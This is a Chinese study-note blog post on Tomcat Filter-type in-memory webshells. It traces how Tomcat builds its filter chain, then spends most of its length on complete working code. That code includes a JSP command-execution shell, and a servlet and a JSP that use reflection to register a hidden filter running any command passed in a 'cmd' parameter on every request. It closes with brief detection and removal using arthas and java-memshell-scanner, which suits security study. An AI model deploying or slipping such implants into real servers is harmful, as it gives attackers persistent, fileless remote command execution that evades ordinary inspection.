学一下有关filter servlet的内容(最近真是什么都想学)
这部分基础知识还挺多的,单纯copy别人的到自己的笔记也没啥效果,目前打算直接从应用入手,分析的过程中遇到不懂的再补充。
先简单说一下基础认知 JavaWeb有三大件,servlet,listener和filter
Servlet:运行在web服务器和应用服务器上的程序,数据库和应用程序之间的中间层
filter:过滤器,servlet的强补充,在httpservlet request到servlet前,拦截客户端的请求,根据需要检查request,这个过程也可以修改request的数据;在resonse到达客户端之前,可以拦截response,检查内容,也有修改数据的权限
Listener:可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。
Filter型内存马介绍

结合上图还有Filter的内容,我们可以自定义过滤器,在用户请求到服务端前做一些拦截修改。请求经过filter才会到servlet,而且可以有多个filter,那么如果我们搞一个恶意的filter放在所有filter前面,先执行恶意代码,这样就形成了一个webshell。
搞清楚目标:动态注册恶意filter,把它放在filterchain最前面
Tomcat Filter流程分析
现在先自定义一个filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package Filter;
import javax.servlet.*; import java.io.IOException;
public class filter implements Filter{ @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("Filter 初始构造完成"); }
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("执行了过滤操作"); filterChain.doFilter(servletRequest,servletResponse); }
@Override public void destroy() {
} }
|
在webxml文件里面做好配置
1 2 3 4 5 6 7 8 9 10 11
| <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <filter> <filter-name>filter</filter-name> <filter-class>filter</filter-class> </filter> <filter-mapping> <filter-name>filter</filter-name> <url-pattern>/filter</url-pattern> </filter-mapping></web-app>
|
然后启动,可以看到已经被加载

访问/filter之后的流程
在这里打个断点,然后启动调试

访问/filter路由,程序会到**filterChain.doFilter()**,跟进
直接进到ApplicationFilterChain.doFilter()里面,再走一步,就到了internalDoFilter()

再往前到internalDoFilter(),会看到有一个给filterConfig赋值
1
| ApplicationFilterConfig filterConfig = this.filters[this.pos++];
|
这个时候有两个filter,一个是tomcat自带的,一个是我们定义的

再继续往前走,会到tomcat到dofilter里面,直到最后会到this.servlet.service(request, response);

其实就是我们的filter其实是一个链子,上一个filter会通过 FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法,就这样一直调,直到最后一个filter里面调用servlet.service(),那假设有一个filter里面没有dofilter,下一个filter就不会被触发,也没办法走到最后的service里面
FilterChain就是这样一个一个调用dofilter,直到最后一个到servlet.service()
访问/filter之前的流程
继续之前的调试

可以看到这里有调用栈,我们选择回到最远的invoke那里,也就是StandardWrapperValve.invoke()
,前面的调用栈可以看到出现了好多个invoke,可以用下图了解到调用顺序

现在到StandardWrapperValve.invoke()
里面看是怎么走到doFilter()的

跟进看到后面有一个ApplicationFilterFactory.createFilterChain()方法,这个名字就叫创建过滤链,跟进

这里会判断filterMap是否为空,若为空则会调用context.findFilterMaps()
从StandardContext
寻找并且返回一个FilterMap数组。
再看到后面

遍历StandardContext.filterMaps
得到filter与URL的映射关系并通过matchDispatcher()
、matchFilterURL()
方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs
中,是否存在对应filter的实例,当实例不为空时通过addFilter
方法,将管理filter实例的filterConfig
添加入filterChain
对象中。
进入doFilter前重点处理了这些,后面就到了访问/filter后的流程
小结一下
一开始有很多个invoke(),管道层层调用,到了最后一个invoke会创建filterChain,然后会做一些匹配。后面今日doFIlter,也是一个接一个层层调用,直到最后一个到了servlet.service(),
攻击思路

我们构造恶意filter的filterConfig和filterMaps,就可以达到触发目的,都是从StandardContext里面来的
filterMaps也会对应webxml文件里面filter-mapping 标签
攻击
我们要用某种方式修改filterMaps,可以找到有两个方式,在StandardContex类里面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| @Override public void addFilterMap(FilterMap filterMap) { validateFilterMap(filterMap); filterMaps.add(filterMap); fireContainerEvent("addFilterMap", filterMap); }
@Override public void addFilterMapBefore(FilterMap filterMap) { validateFilterMap(filterMap); filterMaps.addBefore(filterMap); fireContainerEvent("addFilterMap", filterMap); }
|
StandardContext是一个容器类,里面存储web应用的对象和数据,也加载了webxml中多个servlet,filter对象以及他们的关系
关于filter有几个变量
filterConfigs 成员变量是一个HashMap对象,里面存储了filter名称与对应的ApplicationFilterConfig
对象的键值对,在ApplicationFilterConfig
对象中则存储了Filter实例以及该实例在web.xml中的注册信息。
filterDefs 成员变量成员变量是一个HashMap对象,存储了filter名称与相应FilterDef
的对象的键值对,而FilterDef
对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据
filterMaps 中的FilterMap
则记录了不同filter与UrlPattern
的映射关系
可以看一下ApplicationFilterConfig里面存了什么东西

可以看到有fiterDef,filter等
filterDef对应webxml里面的标签
1 2 3 4
| <filter> <filter-name>filter</filter-name> <filter-class>filter</filter-class> </filter>
|
在StandardContext.filterStart()方法里可以知道filterConfig可以通过filterConfig.put(name,filterConfig)添加

前辈师傅给的构造思路非常清晰
1、获取当前应用的ServletContext对象
2、通过ServletContext对象再获取filterConfigs
2、接着实现自定义想要注入的filter对象
4、然后为自定义对象的filter创建一个FilterDef
5、最后把 ServletContext对象、filter对象、FilterDef全部都设置到filterConfigs即可完成内存马的实现
jsp的带回显内存马实现
1 2 3 4 5 6 7 8 9 10 11 12
| <% if(request.getParameter("cmd")!=null){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.print(new String(b)); } out.print("</pre>"); } %>
|
接下来把这个内存注入到filter里面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| package Filter;
import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import java.io.IOException; import java.io.InputStream; import java.util.Scanner;
public class filter implements Filter{ @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("Filter 初始构造完成"); }
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("执行了filter内存马操作"); HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output);
return; } filterChain.doFilter(servletRequest,servletResponse); }
@Override public void destroy() {
} }
|

日志也有对应的输出

上面是有webxml配置的情况下,接下来就要考虑怎么动态注入filter,前辈师傅画的图也十分清晰

获取一些对象就用反射了
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
String FilterName = "cmd_Filter"; Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); filterConfigs = (Map) Configs.get(standardContext);
|
写上前面已经定义好的filter,再设置filterDef和filterMaps
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); Constructor declaredConstructors = FilterDef.getDeclaredConstructor(); FilterDef o = (FilterDef)declaredConstructors.newInstance(); o.setFilter(filter); o.setFilterName(FilterName); o.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(o);
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor(); org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();
o1.addURLPattern("/*"); o1.setFilterName(FilterName); o1.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(o1);
|
最后都添加到filterConfig里面,再放到webxml里面
1 2 3 4 5 6 7
| Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class); declaredConstructor1.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o); filterConfigs.put(FilterName,filterConfig); response.getWriter().write("Success");
|
完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121
| package Filter;
import org.apache.catalina.Context; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field;
import java.util.Map; import java.util.Scanner;
@WebServlet("/filterShell") public class FilterShell extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Field Configs = null; Map filterConfigs; try { ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
String FilterName = "cmd_Filter"; Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(FilterName) == null){ Filter filter = new Filter() {
@Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("执行了filter内存马操作"); HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output);
return; } filterChain.doFilter(servletRequest,servletResponse); }
@Override public void destroy() {
} };
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); Constructor declaredConstructors = FilterDef.getDeclaredConstructor(); FilterDef o = (FilterDef)declaredConstructors.newInstance(); o.setFilter(filter); o.setFilterName(FilterName); o.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(o);
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor(); org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();
o1.addURLPattern("/*"); o1.setFilterName(FilterName); o1.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(o1);
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class); declaredConstructor1.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o); filterConfigs.put(FilterName,filterConfig); response.getWriter().write("Success");
} } catch (Exception e) { e.printStackTrace(); }
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this.doPost(request, response); } }
|
启动服务器,要先访问路由/filterShell才成功注册内存马,后面无论在什么场景就都会受恶意filter影响

对应的jsp代码也贴一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %>
<% final String name = "Flow"; ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner( in ).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output); servletResponse.getWriter().flush(); return; } filterChain.doFilter(servletRequest, servletResponse); }
@Override public void destroy() {
}
};
FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/bbb"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig); out.print("Inject Success !"); } %> <html> <head> <title>filter</title> </head> <body> Hello Filter </body> </html>
|
Java内存马排查
arthas
用这个项目链接:https://github.com/alibaba/arthas
直接java -jar arthas-boot.jar
选择这个1,进入一个类似bash的东西

输入sc *.Filter
,模糊查询filter,然后就看到了恶意filter名字

输入 jad Filter.FilterShell$1
就可以反编译看到代码详情

Java-memshell-scanner
https://github.com/c0ny1/java-memshell-scanner
还有这款工具可以自动扫描查杀内存马

点个kill就没了
思路是这里会遍历所有的filterMap,然后还提供了dumpclass功能

删除主要靠StandardContext.removeFilterDef()方法

参考
https://drun1baby.top/2022/08/22/Java%E5%86%85%E5%AD%98%E9%A9%AC%E7%B3%BB%E5%88%97-03-Tomcat-%E4%B9%8B-Filter-%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC
最后
算是踏入了内存马的门,大概原理心里还是有个数的,但是filter几个变量之间的概念关系还是不够清晰,后面遇到反序列化打内存马的时候会再理一遍,写的不够走心的一篇笔记。